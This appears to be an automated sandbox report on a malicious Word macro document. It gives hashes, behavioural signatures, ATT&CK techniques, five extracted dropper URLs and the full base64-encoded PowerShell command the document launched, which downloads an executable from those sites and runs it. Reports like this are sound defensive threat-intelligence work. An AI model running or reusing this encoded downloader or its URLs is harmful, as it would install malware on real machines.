6273492f7425010ac115b511226334f85378b15d21cf49e27e8ab35503a55adf

General

Target

6273492f7425010ac115b511226334f85378b15d21cf49e27e8ab35503a55adf.doc
Size

136KB
MD5

28d038b8af4c15606af45f46288044ab
SHA1

ec2f0e61f236865b5ea16aa610775ff5bebbaec5
SHA256

6273492f7425010ac115b511226334f85378b15d21cf49e27e8ab35503a55adf
SHA512

640afe19a0240b953e500d200464f58819638310bad31dcf3ca80e70c565ff7e9da6636557a09350ead017a7843ba58d7b4ba130b46f46f51eb5983dd6ebedcb

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://drmarins.com/engl/pCAdOLWLJ/

exe.dropper

http://hybridbusinesssolutions.com.au/cgi-bin/t6ye0j_wyhf4yw-2/

exe.dropper

http://durakbufecengelkoy.com/wp-includes/GrIBQTnoO/

exe.dropper

http://performancevitality.net/partner/rq2totv_bryhdqjc2-17320/

exe.dropper

http://tnrkentonode.com/wp-admin/vxaljneq_f9vcwvsz03-015845519/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1256	392	powershell.exe	31

Blocklisted process makes network request 3 IoCs

flow	pid	Process
28	1256	powershell.exe
41	1256	powershell.exe
45	1256	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2968	WINWORD.EXE
2968	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1256	powershell.exe
1256	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1256	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2968	WINWORD.EXE
2968	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2968	WINWORD.EXE
2968	WINWORD.EXE
2968	WINWORD.EXE
2968	WINWORD.EXE
2968	WINWORD.EXE
2968	WINWORD.EXE
2968	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2968 wrote to memory of 4460	2968	WINWORD.EXE	83
PID 2968 wrote to memory of 4460	2968	WINWORD.EXE	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6273492f7425010ac115b511226334f85378b15d21cf49e27e8ab35503a55adf.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2968
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:4460

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -enc JAB3ADgANQA1ADIAMgBfADkAPQAnAGwAOQBfADUAOQAxADcAMAAnADsAJABBADAAOQA2ADkAOQAgAD0AIAAnADIAOQA5ACcAOwAkAEsANgA0ADgAOAAxADkAMAA9ACcAbwAxAF8AOAAyADcANwAnADsAJAB6ADMAMwA1AF8AOQBfADAAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEEAMAA5ADYAOQA5ACsAJwAuAGUAeABlACcAOwAkAFYAMwA1ADEAMgA3AD0AJwBGADkAXwAwADYAMgAyACcAOwAkAE0ANAA3ADgAMQA3AF8ANwA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAFQALgB3AGUAYABCAGAAYwBMAEkARQBOAFQAOwAkAEQANwAxADUAMwBfADAAPQAnAGgAdAB0AHAAOgAvAC8AZAByAG0AYQByAGkAbgBzAC4AYwBvAG0ALwBlAG4AZwBsAC8AcABDAEEAZABPAEwAVwBMAEoALwBAAGgAdAB0AHAAOgAvAC8AaAB5AGIAcgBpAGQAYgB1AHMAaQBuAGUAcwBzAHMAbwBsAHUAdABpAG8AbgBzAC4AYwBvAG0ALgBhAHUALwBjAGcAaQAtAGIAaQBuAC8AdAA2AHkAZQAwAGoAXwB3AHkAaABmADQAeQB3AC0AMgAvAEAAaAB0AHQAcAA6AC8ALwBkAHUAcgBhAGsAYgB1AGYAZQBjAGUAbgBnAGUAbABrAG8AeQAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ARwByAEkAQgBRAFQAbgBvAE8ALwBAAGgAdAB0AHAAOgAvAC8AcABlAHIAZgBvAHIAbQBhAG4AYwBlAHYAaQB0AGEAbABpAHQAeQAuAG4AZQB0AC8AcABhAHIAdABuAGUAcgAvAHIAcQAyAHQAbwB0AHYAXwBiAHIAeQBoAGQAcQBqAGMAMgAtADEANwAzADIAMAAvAEAAaAB0AHQAcAA6AC8ALwB0AG4AcgBrAGUAbgB0AG8AbgBvAGQAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgB4AGEAbABqAG4AZQBxAF8AZgA5AHYAYwB3AHYAcwB6ADAAMwAtADAAMQA1ADgANAA1ADUAMQA5AC8AJwAuAFMAUABMAEkAdAAoACcAQAAnACkAOwAkAEUAOQA2ADIAMgAwAD0AJwB6ADgAMQA5ADcANgAnADsAZgBvAHIAZQBhAGMAaAAoACQAawA0ADUANwAwADgANwAgAGkAbgAgACQARAA3ADEANQAzAF8AMAApAHsAdAByAHkAewAkAE0ANAA3ADgAMQA3AF8ANwAuAGQATwBXAG4ATABvAEEARABmAEkATABFACgAJABrADQANQA3ADAAOAA3ACwAIAAkAHoAMwAzADUAXwA5AF8AMAApADsAJABIADMANgAwADUAMwAyADUAPQAnAEYAMAA4ADQAXwAwADAAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJAB6ADMAMwA1AF8AOQBfADAAKQAuAGwAZQBuAEcAVABIACAALQBnAGUAIAAzADkAOAA4ADgAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAgACQAegAzADMANQBfADkAXwAwADsAJABmADEAMwA0ADgAOQAzADAAPQAnAFoANABfADEANAAwADcAXwAnADsAYgByAGUAYQBrADsAJABmADEAOAA2ADkAOQA3ADgAPQAnAHIANwBfADIAMwAxACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAOABfADQAMwA2AD0AJwB2ADcAXwAxADMAXwA0ADcAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1256

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1256-139-0x0000025E74FC0000-0x0000025E74FE2000-memory.dmp

Filesize
136KB

Download
memory/1256-142-0x00007FFE48E40000-0x00007FFE49901000-memory.dmp

Filesize
10.8MB

Download
memory/1256-141-0x00007FFE48E40000-0x00007FFE49901000-memory.dmp

Filesize
10.8MB

Download
memory/1256-140-0x00007FFE48E40000-0x00007FFE49901000-memory.dmp

Filesize
10.8MB

Download
memory/2968-134-0x00007FFE34990000-0x00007FFE349A0000-memory.dmp

Filesize
64KB

Download
memory/2968-135-0x00007FFE32930000-0x00007FFE32940000-memory.dmp

Filesize
64KB

Download
memory/2968-136-0x00007FFE32930000-0x00007FFE32940000-memory.dmp

Filesize
64KB

Download
memory/2968-138-0x0000025156B60000-0x0000025156B64000-memory.dmp

Filesize
16KB

Download
memory/2968-130-0x00007FFE34990000-0x00007FFE349A0000-memory.dmp

Filesize
64KB

Download
memory/2968-133-0x00007FFE34990000-0x00007FFE349A0000-memory.dmp

Filesize
64KB

Download
memory/2968-131-0x00007FFE34990000-0x00007FFE349A0000-memory.dmp

Filesize
64KB

Download
memory/2968-132-0x00007FFE34990000-0x00007FFE349A0000-memory.dmp

Filesize
64KB

Download
memory/2968-144-0x00007FFE34990000-0x00007FFE349A0000-memory.dmp

Filesize
64KB

Download
memory/2968-145-0x00007FFE34990000-0x00007FFE349A0000-memory.dmp

Filesize
64KB

Download
memory/2968-146-0x00007FFE34990000-0x00007FFE349A0000-memory.dmp

Filesize
64KB

Download
memory/2968-147-0x00007FFE34990000-0x00007FFE349A0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads